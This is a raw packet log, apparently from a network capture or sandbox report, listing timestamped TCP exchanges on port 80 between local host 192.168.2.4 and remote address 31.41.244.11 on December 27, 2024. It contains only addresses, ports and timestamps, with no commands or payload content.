Dec 27, 2024 08:46:31.595010996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.595067024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.595118046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.596034050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.596081018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.596127987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.596168041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.597096920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.597142935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.597220898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.597263098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.598176003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.598222017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.598239899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.598279953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.599256039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.599303961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.599347115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.599405050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.600311041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.600353956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.745310068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.745328903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.745358944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.745394945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.745801926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.745846033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.745898962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.745944023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.746953011 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.747000933 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.747049093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.747088909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.747927904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.747963905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.748044014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.748080969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.748980045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.749020100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.749109030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.749142885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.750075102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.750117064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.750190020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.750262976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.751121998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.751172066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.751224041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.751264095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.752182961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.752228022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.752293110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.752336025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.753252029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.753304958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.753365040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.753407955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.754374027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.754421949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.754472971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.754513025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.755393028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.755429029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.755501032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.755534887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.756472111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.756529093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.756582022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.756618977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.757622957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.757667065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.757669926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.757704020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.758611917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.758656979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.758711100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.758744955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.759708881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.759756088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.759825945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.759861946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.760762930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.760816097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.760858059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.760898113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.761822939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.761868954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.761933088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.761976957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.762929916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.762969017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.763021946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.763070107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.763982058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.764024973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.764179945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.764216900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.765064955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.765116930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.765149117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.765196085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.766141891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.766191959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.766231060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.766274929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.767191887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.767251015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.767311096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.767365932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.768281937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.768323898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.768361092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.768398046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.769364119 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.769439936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.769499063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.769800901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.770417929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.770461082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.770519018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.770566940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.771492958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.771558046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.771593094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.771636009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.772588968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.772651911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.772660017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.772694111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.773622036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.773708105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.773737907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.773780107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.774736881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.774784088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.774820089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.774919033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.776456118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.776468992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.776499033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.776523113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.776882887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.776925087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.776956081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.776999950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.778392076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.778403997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.778461933 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.778537035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.779026031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.779071093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.779158115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.779194117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.780075073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.780123949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.780159950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.780199051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.781124115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.781174898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.781244993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.781280041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.782212019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.782289982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.782345057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.782399893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.783276081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.783355951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.783385992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.783425093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.785289049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.785301924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.785332918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.785346985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.785414934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.785451889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.785550117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.785584927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.786498070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.786537886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.786591053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.786631107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.787601948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.787612915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.787647009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.788698912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.788789988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.788821936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.788839102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.789737940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.789800882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.789839983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.789890051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.790816069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.790868044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.790932894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.791003942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.791881084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.791924000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.791985989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.792026043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.792952061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.792988062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.794950008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.794961929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.794967890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.795033932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.795749903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.795761108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.795792103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.795809031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.799000025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799012899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799026012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799031973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799036980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799048901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799073935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.799114943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.799417973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799437046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.799468040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.799496889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.800467014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.800506115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.800579071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.800621033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.801532984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.801582098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.946526051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.946561098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.946594954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.946626902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.946954966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.947000027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.947160006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.947206974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.947269917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.947319984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.948236942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.948287964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.948349953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.948390961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.949321985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.949368000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.949445009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.949491978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.950381041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.950423002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.950486898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.950529099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.952697992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.952744961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.953593969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.953639984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.955876112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.955889940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.955903053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.955915928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.955935955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.955955982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.956501007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.956542969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.956677914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.956722975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.957612991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.957628965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.957658052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.957674026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.958575964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.958615065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.958708048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.958744049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.959733963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.959779978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.959856033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.959892988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.960809946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.960824013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.960859060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.960874081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.961745024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.961793900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.961922884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.961961985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.962893009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.962934017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.963027954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.963069916 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.963426113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.963439941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.963453054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.963465929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.963466883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.963490009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.963526011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.964334965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.964370966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.964509964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.964546919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.965414047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.965454102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.965497971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.965537071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.966483116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.966536999 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.966588974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.966629982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.967561960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.967614889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.967667103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.967705011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.968627930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.968668938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.968725920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.968760967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.969713926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.969755888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.969829082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.969866037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.970803022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.970840931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.970877886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.970894098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.971903086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.971946955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.971993923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.972029924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.972942114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.972994089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.973035097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.973073959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.974206924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.974220991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.974251986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.974267960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.975084066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.975128889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.975178003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.975225925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.976123095 CET	80	49839	31.41.244.11	192.168.2.4
